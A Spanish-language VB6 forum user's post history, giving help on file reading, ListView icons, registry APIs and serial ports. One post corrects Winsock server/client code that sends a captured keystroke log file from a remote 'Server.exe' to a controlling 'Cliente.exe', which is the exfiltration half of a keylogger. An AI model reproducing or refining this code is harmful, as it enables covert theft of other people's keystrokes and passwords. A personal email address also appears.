Mensajes

Lo estas haciendo al revez, mira es:

Código [Seleccionar] Expandir

Private Sub File1_Click()
Shell Dir1.Path & "\" & File1.filename 'ahora si man ;)
End Sub


Sancho.Mazorka    

 No existe a menos que lo crees vos o consigas un OCX o un XTL, xq los OCX que vienen de Windows, los Common Controls traen la ProgressBar1 predeterminada que es horrible
Creala vos con unos Shape de colores y un Label

Código [Seleccionar] Expandir


'Abris el archivo con
Open "C:\Archivo.txt" for Input As #1
    Variable = Input(LOF(1), #1)
Close #1
'y lo guarda dentro de la Variable



#1 es la forma de referirse a ese archivo si abris otro antes de cerrar el #1 le tenes que poner otro nombre o #2 en la funcion LOF no hace falta colocar el #

PD: Agregame al MSN si keres que te haga la barra y de paso te ayudo en otras cosas   rhcp_269@hotmail.com


Sancho.Mazorka   

De nada mdg! Sirvio ese ejemplo no... ?



Sancho.Mazorka   

SI en la linea que agregas un nuevo valor al listview pones en [Icon] la ruta del icono, y en [SmallIcon] pones la vista en miniatura o la misma, tambien tenes que configurar para que soporte imagenes, en una de las solapas, tiene 3 opciones a las 3 les pones un valor diferente a ninguna.
PD: eso con el listivew version 6, si no te anda avisa



Sancho.Mazorka   

Al apretar una tecla del telefono ( de los nuevos ) larga una señal en Hertz, de ahi a que el VB lo detecte ni idea     
PD: creo que era asi


Sancho.Mazorka    

Toma entra aca: http://www.allapi.net/apilist/r.shtml
Es de la Api-Guide busca en esa pagina todas las Api's que empiezan con Reg, ahi te da completos ejemplos de como usarlas y varias cosas mas 

PD: Savesettings y Getsettings como dijo BRoWLi solo guarda en el registro una clave con el nombre de tu aplicacion, y dentro de esa clave podes craear nuevos valores, y a la la clave la crea en una ruta predeterminada, no me acuerdo donde, pero creo que es software.



Sancho.Mazorka 

Ni idea busca en google, o en www.planet-source.net creo que es hay hay de todo!


Sancho.Mazorka   

Bajate el programa Fusion es muy bueno 



Sancho.Mazorka     

Mira cometiste un par de errores como usar el metodo de agregar texto a un archivo ( Append ) cuando tenia que ser de entrada ( Input )

Server.exe (DataArrival)

Código [Seleccionar] Expandir

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos as string
Dim keys as string
Winsock1.GetData datos
If datos = "keylog" Then
Open "c:\archivo.txt" For Input As #1
Input #1, Text4.Text
Close #1
keys = Text4.Text
Winsock1.SendData "Keylog" & keys
End If
End Sub

Cliente.exe (DataArrival)

Código [Seleccionar] Expandir

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim Datos as string
If left(Datos,6) = "Keylog" Then
Text1.Text = Right(Datos,Len(Datos) - 6)
End If
End Sub

Espero que te sirva, talvez que me equivoque con el input, avisame si es asi.



Sancho.Mazorka    

mdg en que parte dice como mandar o recibir bits por el puerto serial ? y freddymaila creo que te puedo ayudar igual, solo cambio los puertos y los bits que envio, y funcionaria igual que con el paralelo



Sancho.Mazorka